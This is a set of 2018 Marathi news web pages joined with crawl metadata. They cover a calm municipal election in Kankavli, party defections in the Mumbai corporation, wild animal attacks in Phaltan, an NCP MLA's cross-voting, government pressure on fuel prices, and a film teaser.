म्हणजे अपवाद वगळता कुणीही कुणावरही फारसे आरोप-प्रत्यारोप करतानाही दिसत नाही.\nसध्याचे वातावरण पाहता कधीही नाही इतकी शांततेत यावेळची निवडणूक पार पडणार आहे असे ठामपणे सांगता येईल. 26 तारखेला उमेदवारी अर्ज मागे घेण्याच्या दिवशी जेव्हा लढती स्पष्ट झाल्या त्यानंतर प्रचारासाठी केवळ दहा दिवस शिल्लक राहिले. या दहा दिवसात घरोघरी जावून प्रचार करायचा आहे. अगदी प्रत्येक घरातील प्रत्येक कुटुंब प्रचारापासून चुकता कामा नये याची खबरदारी प्रत्येक उमेदवार घेत आहे. एवढेच नव्हे तर काही घरांमध्ये एकदा नव्हे तर दोन-तीन वेळा जावून मतपरिवर्तन करण्याची आवश्यकताही उमेदवारांना माहीत आहे. त्यामुळे जो-तो उमेदवार बाकीच्या सर्व गोष्टी बाजूला ठेवून मतदाराला भेटण्यात मग्न आहे.ही मग्नताच निवडणूक काळात शांतता राखण्यासाठी उपयोगी ठरत असते. निवडणूक आयोगाने अलिकडे प्रचाराचा कालावधी पूर्वीपेक्षा कमी ठेवण्यामागे हा एक सद्हेतू असावा, असे वाटते.\nएक काळ असा होता की, सिंधुदुर्ग जिल्ह्याच्या राजकारणात दहशतीचा मुद्दा हा प्रचाराचा मुद्दा असायचा. दहशतीच्या बाबतीत एकमेकांवर आरोप-प्रत्यारोप व्हायचे. अर्थात अनेक राजकीय स्वरूपाचे गुन्हे त्या काळात पोलिस स्थानकांमध्ये दाखल व्हायचे. कणकवलीतही असे प्रकार घडायचे. परंतु त्यातून काहीच निष्पन्न होत नाही हे आता सर्वांनाच समजून चुकले आहे. एकीकडे मतदार आता अधिक समजदार बनले आहेत, त्यामुळे ते अशा प्रकारांना स्विकारत नाहीत आणि दुसरीकडे अशा प्रकारांमुळे फक्त अंगावर केसीस वाढतात, वैयक्तिक नुकसानच होते हे आता कार्यकर्त्यांनाही समजू लागले आहे. या दोन कारणांमुळे आता राजकारणात शांतता प्रस्थापित होत आहे, असे म्हणण्यास वाव आहे. कणकवलीतही सध्या निवडणूक काळात अशी शांतता आहे, ही खूप समाधानाची बाब आहे.\nमुळात कणकवली ही व्यापारीपेठ आहे. जिल्ह्यात सर्वात वेगाने विकसित होणारे हे शहर आहे. संपूर्ण महाराष्ट्राला हे शहर ओळखीचे आहे. सिंधुदुर्गात जे हजारो पर्यटक पर्यटनासाठी येतात ते सुरूवातीला कणकवलीतच येतात. पुन्हा माघारी परतताना त्यांची खरेदीही कणकवलीतच होते. त्यामुळे कणकवली विकसित शहर बनायला हवे. त्याशिवाय ते अधिक सुंंदर शहर निर्माण व्हायला हवे. अशा सुंदर आणि विकसित शहरासाठी शांत परिस्थिती कधीही पोषकच ठरते.\nकणकवलीत सध्या निवडणूक काळात शहरात फेरफटका मारला असता एक बाब आवर्जुन दिसते ती म्हणजे उमेदवार आणि त्यांचे कार्यकर्ते गटागटाने घरोघरी जावून हात जोडून नम्रपणे मतदान करण्याचे आवाहन करत आहेत. ज्येष्ठांसमोर वाकून नमस्कार करताना दिसतात. आपणाला मत का द्यावे, हे एखादा उमेदवार मतदाराला सांगण्याचा प्रयत्न करतो आहे, त्याचवेळी तो प्रतिस्पर्धी उमेदवारांवर टीका किंवा आरोप करण्याच्या फंदात पडत नाही. त्यामुळेच कणकवलीची ही निवडणूक निकोप वातावरणात सुरू आहे.\nकणकवली हे शहर शैक्षणिक आणि सांस्कृतिकदृष्ट्या विकसित होत आहे. त्यामुळे मतदारही अधिक वैचारिक बनत चालला आहे. आपण कुणाला मतदान करणार याचा थांगपत्ता तो लागू देत नाही. प्रत्येक उमेदवार आणि त्याचे प्रचारक यांचे हसतमुखाने स्वागत करायचे आणि आपले अमूल्य मत आपल्या मनातील उमेदवाराला देवून मतदान केंद्रातून शांतपणे बाहेर पडायचे, असेच या मतदारांनी ठरविलेले आहे. खरे तर लोकशाहीला असेच अभिप्रेत आहे. खुल्या, निकोप वातावरणात मतदाराला आपल्या हव्या त्या उमेदवाराला मोकळेपणाने मतदान करता यावे, असेच वातावरण कणकवली शहरात सध्या दिसत आहे, ही लोकशाहीसाठी खूप समाधानाची बाब आहे.\nसावंतवाडीत मध्यरात्री चोरट्यांचा धुमाकूळ\nआजपासून ‘देवगड महोत्सव २०१८’\nदुष्काळग्रस्त गावातील गुरुजींची सुट्टीतही शाळा\nराज्यातील १३ शाळांना ‘ओजस’ आंतरराष्ट्रीय शाळा म्हणून मान्यता\nसावंतवाडी तालुक्यातील ६०० शिक्षकांची पंतप्रधानांना पत्रे\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00217.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/Mumbai-Municipal-Corporation-BJP-is-away-from-power/", "date_download": "2018-09-25T16:51:18Z", "digest": "sha1:BIDHG7FE5BCF7JEQKI74PDPBDIRSRDD2", "length": 7555, "nlines": 35, "source_domain": "www.pudhari.news", "title": " शिवसेनेने केलेला गेम भाजपला समजलाच नाही | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › शिवसेनेने केलेला गेम भाजपला समजलाच नाही\nशिवसेनेने केलेला गेम भाजपला समजलाच नाही\nमुंबई : राजेश सावंत\nमनसेच्या सहा नगरसेवकांचा शिवसेनेत अधिकृत प्रवेश झाल्यामुळे भाजपाला पुन्हा एकदा सत्तेपासून दूर राहावे लागणार आहे. मनसे नगरसेवकांचा प्रवेश लांबणीवर टाकण्यासाठी भाजपाने अप्रत्यक्षरित्या मनसेला मदत केली. पण शिवसेनेच्या शिलेदारांनी भाजपाचा गेम कधी केला हे समजलेच नाही. शिलेदारांच्या गमिनी काव्यामुळे पालिकेतील सत्ताधारी शिवसेनेला चार वर्षे कोणीच हलवू शकणार नाही.\nभाजपाला गेल्या 11 महिन्यांत शिवसेनेने अनेक धक्के दिले आहेत. शिवसेनेपेक्षा नगरसेवकांचे संख्याबळ अवघे दोनने कमी असल्यामुळे अन्य पक्षातील नगरसेवकांना भाजपाने गळाला लावण्याचा प्रयत्न केला. विशेषत: मनसेच्या नगरसेवकांना भाजपात आणण्यासाठी फासेही टाकण्यात आले होते. एवढेच नाही तर, मनसेने भाजपाला पाठिंबा देण्याची गळ घातली होती. राष्ट्रवादी काँग्रेससोबतही बोलणी सुरू होती. पण दोन्ही पक्षांकडून फारसा प्रतिसाद मिळत नव्हता. दरम्यानच्या काळात भांडूप महापालिका पोटनिवडणुकीत शिवसेनेचा पराभव करण्यासाठी काँग्रेसच्या दिवंगत नगरसेविका प्रतिमा पाटील कुटुंबालाच गळाला लावले. त्यांच्या सुनेला उमेदवारी दिल्यामुळे शिवसेनेला पराभवाचा सामना करावा लागला. या विजयामुळे भाजपा सत्तेच्या जवळ पोहचला. भाजपाच्या वरिष्ठ नेत्यांनीही पालिकेत भाजपाची सत्ता येणार, असे जाहीरच करून टाकले होते. पण अचानक मनसेच्या सहा नगरसेवकांनी शिवसेना पक्षप्रमुख उद्धव ठाकरे यांच्या उपस्थितीत शिवसेनेत प्रवेश केला.\nया प्रवेशानंतर दुसर्‍या दिवशीच भाजपाचे मुंबई अध्यक्ष अ‍ॅड. आशिष शेलार यांनी मनसे अध्यक्ष राज ठाकरे यांची कृष्णकुंजवर भेट घेतली. त्यानंतर लगेचच मनसेने सहा नगरसेवकांच्या शिवसेना प्रवेशाला आक्षेप घेत, कोकण विभागीय आयुक्त यांच्याकडे याचिका दाखल केली. या मागेही भाजपाची रणनीती होती, असे बोलले जात आहे. तीन महिने कोकण आयुक्तांकडे फेर्‍या मारून कोकण आयुक्तांनी अटींवर मनसे नगरसेवकांच्या सेना विलीनीकरणाला मंजुरी दिली. त्यानंतर तासाभरात पालिका सभागृहात मनसे नगरसेवक विलीनीकरणाची महापौरांनी घोषणा केली. त्यामुळे कोकण आयुक्तांच्या निर्णयाविरोधात हालचालीस भाजपाला संधीच मिळाली नाही. आता सेनेच्या नगरसेवकांची संख्या 93 वर पोहोचली आहे. 85 नगरसेवकांचे पाठबळ असलेल्या भाजपाला पालिकेतील सत्तेसाठी सेनेला ओलांडणे शक्य होणार नाही.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00217.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Satara/Wild-Animal-Attack-On-Humans-In-Faltan/", "date_download": "2018-09-25T17:31:48Z", "digest": "sha1:CFAZTH4RBGAI7AZZHGLYMCH7YWJFR4EL", "length": 4170, "nlines": 49, "source_domain": "www.pudhari.news", "title": " फलटणमध्ये वन्यप्राण्यांचा उपद्रव वाढला | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Satara › फलटणमध्ये वन्यप्राण्यांचा उपद्रव वाढला\nफलटणमध्ये वन्यप्राण्यांचा उपद्रव वाढला\nफलटण शहरासह तालुक्यात वन्यप्राण्यांचा उपद्रव वाढला आहे. वाघ, तरस यांनी धुमाकूळ घातल्यानंतर शनिवारी कोल्ह्याने दोघांवर हल्ला केला.\nलक्ष्मण घाडगे रा.कोराळे बीबी व गंगाराम गंगाराम कोळपे रा.कोळपे वस्ती बीबी ता.फलटण यांच्यावर हल्ला चढवला. यापूर्वी तरसाने फरांदवाडी येथे एका शेळीवर हल्ला केला होता. तर फलटणमध्ये गेल्या काही दिवसापासून वन्यप्राण्यांचा वावर वाढला आहे. यामुळे नागरिकांमध्ये भितीचे वातावरण असून चिंता व्यक्त केली जात आहे.\nफलटणमध्ये वन्यप्राण्यांचा उपद्रव वाढला\nRTI अर्ज की जेवणाची ऑर्डर\nगुंगीचे औषध देऊन चोरीचा प्रयत्न; महिलेस अटक\nजिल्ह्यात दोन अपघातांत तीन ठार\nकराडात जनशक्‍तीपुढे भाजप नमले\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00217.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.pudhari.news/news/Solapur/solapur-two-time-voting-to-bjp-then-ramesh-kadam-safe/", "date_download": "2018-09-25T17:52:05Z", "digest": "sha1:QKZ3EEGGRS2Z7NX3EPKPPHCZYONIKWGE", "length": 7989, "nlines": 50, "source_domain": "www.pudhari.news", "title": " दोन वेळा भाजपला मतदान; पण आमदार कदम ‘सेफ’ | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Solapur › दोन वेळा भाजपला मतदान; पण आमदार कदम ‘सेफ’\nदोन वेळा भाजपला मतदान; पण आमदार कदम ‘सेफ’\nमोहोळ : महेश माने\nसतत चर्चेत राहणारे मोहोळचे राष्ट्रवादीचे आमदार रमेश कदम हे विधानपरिषद निवडणुकीतील राजकीय खेळीमुळे पुन्हा चर्चेत आले आहेत. कदम यांनी आपण प्रसाद लाड यांना मतदान केल्याची गुगली प्रसारमाध्यमांसमोर टाकून सर्वांनाच चकीत केले. त्यामुळे तब्बल दोन वेळा पक्षाविरोधात मतदान करणार्‍या आ. कदम यांच्यावर राष्ट्रवादी पक्षातून कारवाई कधी होणार याकडे निष्ठावंत पदाधिकारी व आमदारांचे लक्ष लागले आहे.\nदोन वर्षांपासून आ. रमेश कदम हे कथित आर्थिक गैरव्यवहार प्रकरणी तुरुंगामध्ये आहेत. तरीदेखील मतदारसंघासह संपूर्ण राज्यात त्यांनी केलेल्या विकासकामांची चर्चा होत आहे. यापूर्वी राष्ट्रपतिपदाच्या निवडणुकीत त्यांनी भाजपचे उमेदवार रामनाथ कोविंद यांना मतदान करत पक्षाविरोधात बंड केले होते, तर अलीकडेच झालेल्या महाराष्ट्र विधानपरिषदेच्या निवडणुकीतही त्यांनी पुन्हा राष्ट्रवादीवर उघडपणे नाराजी व्यक्त करत भाजपचे प्रसाद लाड यांना मतदान केल्याचे जाहीर केले. याबाबतची जाहीर कबुली अल्पावधीतच मुरब्बी राजकारणी बनलेल्या आ. रमेश कदम यांनी देत मी राष्ट्रवादीच्या प्रसाद लाड यांना मतदान केले असे विधान केले होते. त्यामुळे पक्षाविरोधात जाणार्‍या आ.कदम यांच्यावर पक्षश्रेष्ठी कधी व कोणती कारवाई करणार याकडे राष्ट्रवादीमधील दिग्गज पदाधिकारी व उपनेत्यांचे लक्ष लागले आहे.\nदेऊन विकासकामे केली आहेत. सोलापूर जिल्ह्यातील सर्व आमदारांना मागे टाकत त्यांनी विकास निधी खर्च करण्यात अव्वल स्थान पटाकावले होते. त्यामुळे मोहोळ विधानसभा मतदारसंघातील आ. कदम यांच्या विकासकामांबाबतची त्यांची लोकप्रियता आजही कायम आहे. त्यामुळे जर आ. कदमांची पक्षाने हकालपट्टी केली तर मतदारांच्या मोठ्या नाराजीला राष्ट्रवादीला तोंड द्यावे लागणार आहे. शिवाय पक्षाला मोहोळ विधानसभा मतदारसंघासाठी नवा उमेदवार शोधावा लागणार आहे. अन् जरी नवा चेहरा मिळालाच तर आ. कदम यांच्या विरोधाला त्या नव्या उमेदवाराला सामोरे जावे लागणार आहे. त्यामुळे आ.कदमांबाबत राष्ट्रवादीची अवस्था ‘धरलं तर चावतय अन् सोडलं तर पळतय’, अशीच झाली आहे.\n‘प्लॉट दिला तरच लग्न करतो’ पोलिसाची मागणी\nसोलापूरमध्ये मागासवर्गीयांच्या शिष्यवृत्तीचा १६ संस्थांकडून अपहार\nसुभाष अनुसे आत्महत्या; पाच जणांना अटक\nदोन वेळा भाजपला मतदान; पण आमदार कदम ‘सेफ’\nभाजीपाल्यांच्या कवडीमोल दरामुळे शेतकरी तोट्यात\n‘गाळमुक्त धरण, गाळयुक्तशिवार’ योजनेसाठी ग्रामस्तरीय समिती\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00217.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://www.loksatta.com/arthasatta-news/petrol-diesel-price-hikes-could-be-put-on-hold-1661685/", "date_download": "2018-09-25T17:22:47Z", "digest": "sha1:MCHMMAEWJO2UHLGAIXMKCLCPYK2SS6YD", "length": 16581, "nlines": 209, "source_domain": "www.loksatta.com", "title": "Petrol Diesel Price Hikes Could Be Put On Hold | पेट्रोल-डिझेलची दरवाढ तूर्त टाळण्याचे सरकारचे आदेश | Loksatta", "raw_content": "\nकाँग्रेस महाआघाडीत बसपलाही घेण्याचा प्रयत्न\nअतिरिक्त विजेपोटी ३८५० कोटी रुपयांचा भुर्दंड\nली चोंग वेईला नाकाचा कर्करोग\n‘डीजे मुक्त’ मिरवणुकीसाठी पोलिसांची खास पथके\nनोटाबंदीने सामान्य माणूस उद्ध्वस्त- विखे\nपेट्रोल-डिझेलची दरवाढ तूर्त टाळण्याचे सरकारचे आदेश\nपेट्रोल-डिझेलची दरवाढ तूर्त टाळण्याचे सरकारचे आदेश\nनुकसानीच्या शक्यतेने तेल कंपन्यांचे समभाग गडगडले\nनुकसानीच्या शक्यतेने तेल कंपन्यांचे समभाग गडगडले\nआंतरराष्ट्रीय स्तरावर खनिज तेलाच्या किमती प्रति पिंप ७२ डॉलरची वेस ओलांडत असताना, देशातील सार्वजनिक मालकीच्या तेल कंपन्यांनी नुकसान सोसून पेट्रोल-डिझेलची दरवाढ थोपवून धरावी, असे केंद्रातील मोदी सरकारचे निर्देश असल्याचे वृत्त आहे. याचे परिणाम बुधवारी भांडवली बाजारातही दिसून आले आणि सरकारी तेल कंपन्यांचे समभाग सात टक्क्यांच्या घरात गडगडले.\nपेट्रोल-डिझेलच्या किमती नियंत्रणमुक्त केल्यानंतर, आयात होणाऱ्या खनिज तेलाच्या किमतीनुरूप त्यात चढ-उतार करण्याची लवचीकता आणि स्वातंत्र्य तेल कंपन्यांना बहाल करण्यात आले आहे. तथापि, इंधनाच्या किंमत वाढीविरोधी जनतेतील वाढता रोष, तोंडावर आलेल्या कर्नाटक विधानसभेच्या निवडणुका या पाश्र्वभूमीवर दरवाढ तात्पुरती टाळा, असा केंद्राचा पवित्रा दिसून येत आहे. ‘ब्लूमबर्ग’ने दिलेल्या वृत्तानुसार, दरवाढ टाळण्याच्या आदेशाच्या परिणामी इंडियन ऑइल, भारत पेट्रोलियम व हिंदुस्तान पेट्रोलियम या कंपन्यांना पेट्रोल व डिझेलच्या विक्रीवर प्रति लिटर एक रुपया तोटा सहन करावा लागण्याची शक्यता आहे.\nजागतिक स्तरावर खनिज तेलाच्या किमती या आखाती देशातील वाढत्या भूराजकीय तणावाच्या पाश्र्वभूमीवर वाढत आल्या असून, एकूण मागणीपैकी ८० टक्के गरज आयातीद्वारे पूर्ण करणाऱ्या भारतासाठी खनिज तेलाच्या किमतीचा भडका भयानक आर्थिक परिणाम करणारा ठरतो. ग्राहकांना दिलासा द्यावा म्हणून केंद्राने मध्यंतरी पेट्रोल आणि डिझेलवर उत्पादन शुल्क कमी करण्याचा मार्ग स्वीकारला होता. परंतु वस्तू आणि सेवा करातून घसरता कर महसूल पाहता, हा उत्पादन शुल्कात कपातीच्या शक्यतेलाही आता वाव राहिलेला नाही.\nपरंतु मुळात रग्गड कर महसूल मिळवून देणारे पेट्रोल-डिझेल सरकारने वस्तू आणि सेवा कराच्या कक्षेबाहेर ठेवले आहेत. २०१५-१६ मध्ये खनिज तेलाच्या किमतींनी तळ गाठला असताना, केंद्राने पेट्रोल-डिझेलवरील उत्पादन शुल्कात वारेमाप वाढ करण्याचा पवित्रा घेतला होता.\nखनिज तेल महागल्यामुळे होणारे नुकसान कंपन्यांनी सोसावे असे काही निर्देश आले नसल्याचा खुलासा हिंदुस्तान पेट्रोलियमचे अध्यक्ष एम. के. सुराणा यांनी केला आहे. तथापि खनिज तेलाच्या किमती आणखी भडकल्यास, प्रत्येक दर टप्प्यानुरूप तेल कंपन्यांना नुकसानीची भरपाई देणाऱ्या अनुदान देण्याची पूर्वप्रथा पुन्हा सुरू करण्याचेही तेल मंत्रालयात घाटत असल्याचे सूत्रांचे म्हणणे आहे.\nखनिज तेल प्रति पिंप ७२ डॉलरवर; तेल कंपन्यांकडून इन्कार; समभाग मूल्याला दणका\nनिवडणुकांच्या तोंडावर केंद्रातील मोदी सरकारला तेल संकटापासून वाचविण्यासाठी पेट्रोल-डिझेलची दरवाढ थोपवून धरण्याच्या निर्देशाच्या वृत्तामुळे बुधवारी सकाळी भांडवली बाजारात तेल कंपन्यांचे समभागांनी घसरणीनेच सुरुवात केली. तथापि असे कोणतेही निर्देश सरकारकडून आले नसल्याचे इंडियन ऑइलचे अध्यक्ष संजीव सिन्हा यांनी पत्रकारांशी बोलताना स्पष्ट केले. असे करणे म्हणजे आजवर स्वीकारलेले सुधारणांचे संक्रमण उलटे फिरविण्यासारखे ठरेल आणि तसे कोणतेही पाऊल केंद्र सरकार टाकणार नाही, असा तेल कंपन्यांच्या प्रमुखांचा सूर आहे.\nतूर्त विक्रीवर तोटा सोसावा लागण्याच्या शक्यतेने हिंदुस्तान पेट्रोलियम कॉर्पोरेशन (-७.६६ टक्के), इंडियन ऑइल कॉर्पोरेशन (-६.६६ टक्के) आणि भारत पेट्रोलियम कॉर्पोरेशन (-७.५० टक्के) या प्रमुख सरकारी तेल कंपन्यांचा समभागांना विक्रीचा दणका बसला. यातून हे समभाग बुधवारच्या व्यवहाराअंती अनुक्रमे ७.६६ टक्के, ६.६६ टक्के आणि ७.५० टक्के अशा मोठय़ा फरकाने आपटले.\nताज्या बातम्यांसाठी लोकसत्ताचे मोबाईल अॅप डाऊनलोड करा.\nअभियंता तरुणीचा विनयभंग; तक्रार घेण्यास हिंजवडी पोलिसांची टाळाटाळ\nखालील बातम्या तुम्ही वाचल्या का\nचूक झाली.. यापुढे गणपती बाप्पा मोरया म्हणणार नाही-वारीस पठाण\nभारताने लाखो लोकांना गरिबीतून बाहेर काढले, संयुक्त राष्ट्र संघात ट्रम्प यांचे गौरवोद्गार\nAsia Cup 2018 Ind vs Afg Live : लोकेश राहुलही माघारी परतला, भारताला...\nराफेल विमान व्यवहार: रॉबर्ट वद्रांना तुरुंगवास नक्की, भाजपाचा पलटवार\n..तेव्हा मोदींनीही पंतप्रधान मनमोहनसिंग यांना पाठिंबा दिला होता: राम माधव\nसतत टोमणे मारणाऱ्या पतीला वजनदार पत्नीचं 'बॉडी बिल्डर' होऊन उत्तर\n'द नन'ची जगभरात तुफान कमाई; १४०० कोटींचा जमवला गल्ला\n'मी शिवाजी पार्क' सेन्सॉरच्या कात्रीत; महेश मांजरेकर जाणार कोर्टात\nअरबाज २०१९ मध्ये दुसऱ्यांदा चढणार बोहल्यावर\nVideo : आधी देश मग धर्म, रितेश देशमुखने शेअर केलेला हा व्हिडिओ पाहाच\nदारुच्या नशेत रिक्षाला ठोकलं, दोघं जखमी; अभिनेता दलीप ताहिल अटकेत\nपुण्यात पेट्रोल दर अखेर नव्वदीपार\nतीन हजारांहून अधिक फरार गुन्हेगारांची विशेष शोधमोहीम\nमीरा-भाईंदरमध्ये ‘अल्ट्रा थीन’ रस्ते\n‘जैन मुनींच्या आशीर्वादामुळे महापालिकेत यश\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00217.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%B9%E0%A5%8B%E0%A4%AE-%E0%A4%B8%E0%A5%8D%E0%A4%B5%E0%A5%80%E0%A4%9F-%E0%A4%B9%E0%A5%8B%E0%A4%AE%E0%A4%9A%E0%A4%BE-%E0%A4%B9%E0%A5%83%E0%A4%A6%E0%A4%AF%E0%A4%B8%E0%A5%8D/", "date_download": "2018-09-25T17:51:11Z", "digest": "sha1:FPITMKF6ICLJLCW7E5OZCYMRMRPQHPMG", "length": 9142, "nlines": 137, "source_domain": "www.dainikprabhat.com", "title": "‘होम स्वीट होम’चा हृदयस्पर्शी टीजर प्रदर्शित | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\n‘होम स्वीट होम’चा हृदयस्पर्शी टीजर प्रदर्शित\nफ्रेम्स प्रॉडक्शन्स कंपनी प्रा. लि. निर्मित आणि प्रोऍक्टिव्ह व स्वरूप रिक्रीएशन्स अँड मिडिया प्रा. लि. प्रस्तुत ‘होम स्वीट होम’या मराठी चित्रपटाचा हृदयस्पर्शी टीजर नुकताच सोशल मिडीयावर प्रदर्शित करण्यात आला. यामध्ये ज्येष्ठ अभिनेते मोहन जोशी आणि रीमा यांची अफलातून केमीस्ट्री बघायला मिळते.\n‘होम स्वीट होम’ या चित्रपटाच्या टीजरमध्ये रीमा आणि मोहन जोशी यांच्या नात्याचा गोडवा विषद केला आहे, सोबतीला सुप्रसिद्ध कवी, गीतकार वैभव जोशी यांची ‘नात्याचे रुटीन चेकअप’ सांगणारी त्यांच्याच आवाजातील सुंदर कविता आहे. नात्यात संवादाचे प्रेशर जपणे असेल, खाण्यासंबंधीचे पथ्य असेल, अथवा दाम्पत्यातील खट्याळपणा असेल, अशा सर्वच बाबी टीजर मध्ये कवितेच्या रूपाने सादर केल्या आहेत. ३५ वर्षे एकाच घरात वास्तव्य केलेल्या दाम्पत्याच्या मनात घराविषयी असणारे स्थान टीझरमध्ये उल्लेखिले आहे. टीझरच्या शेवटी प्रसाद ओक, विभावरी देशपांडे आणि हृषीकेश जोशी दारातून डोकावताना दिसतात. या अत्यंत हृदयस्पर्शी टीजर मधून ‘होम स्वीट होम’ बद्दल प्रेक्षकांच्या मनात उत्कंठा निर्माण झाली आहे.\nअभिनेता, लेखक हृषीकेश जोशी ‘होम स्वीट होम’ मधून दिग्दर्शक म्हणून पदार्पण करत आहे, या चित्रपटात दिवंगत अभिनेत्री रीमा तसेच मोहन जोशी, हृषीकेश जोशी, स्पृहा जोशी, प्रसाद ओक, विभावरी देशपांडे यांच्या प्रमुख भूमिका आहेत. ‘होम स्वीट होम’ ची कथा हृषीकेश जोशी, वैभव जोशी, मुग्धा गोडबोले यांची आहे, संगीतकार नरेंद्र भिडे, संतोष मुळेकर यांनी कवी,गीतकार वैभव जोशी यांच्या गीतांना स्वरबद्ध केले आहे. हेमंत रुपरेल आणि रणजीत ठाकूर हे चित्रपटाचे निर्माते तर नितीन प्रकाश वैद्य कार्यकारी निर्माते असून आकाश पेंढारकर, विनोद सातव, सचिन नारकर आणि विकास पवार हे प्रस्तुतकर्ते आहेत. आयुष्यात आपल्या घराचं स्थान काय असतं हे विषद करताना जीवनातील अनेक पैलूंवर प्रकाश टाकणारा अत्यंत हटके असा‘होम स्वीट होम’ येत्या २८ सप्टेंबर रोजी संपूर्ण महाराष्ट्रात प्रदर्शित होणार आहे.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleलवकरच प्रदर्शित होणार ‘ माझा अगडबम’\nNext articleकोपरगावनजीक अपघातांची मालिका सुरूच\nरँचो वॉल पाडण्याचा निर्णय ; पर्यटकांवरही बंदी\n‘ठग्स ऑफ हिंदोस्तान’ चे नवीन पोस्टर रिलीज\nपंजाबी सिंगर हार्डी संधू पुन्हा होतोय ट्रेंड यावेळी ‘क्या बात है’\nदीपिका-रणवीरने रद्द केले नोव्हेंबरमधील लग्न\n“ठग्ज…’मध्ये आमिर बसला गाढवावर\n“सिंग इज किंग 2’मध्ये अर्जुन कपूर\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00218.warc.wet.gz", "language": "mr", "language_score": 0.92, "bucket": "all"} {"url": "http://www.saamana.com/category/vishesh/diwali/page/6/", "date_download": "2018-09-25T16:36:15Z", "digest": "sha1:GLS2F2VQUACDHIBRYNPCW7NTZJU4JMR6", "length": 17603, "nlines": 265, "source_domain": "www.saamana.com", "title": "दिवाळी | Saamana (सामना) | पृष्ठ 6", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\n20 ऑक्टोबर पासून गाळपाचा शुभारंभ; बीड जिल्ह्यात सात कारखाने सज्ज\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; 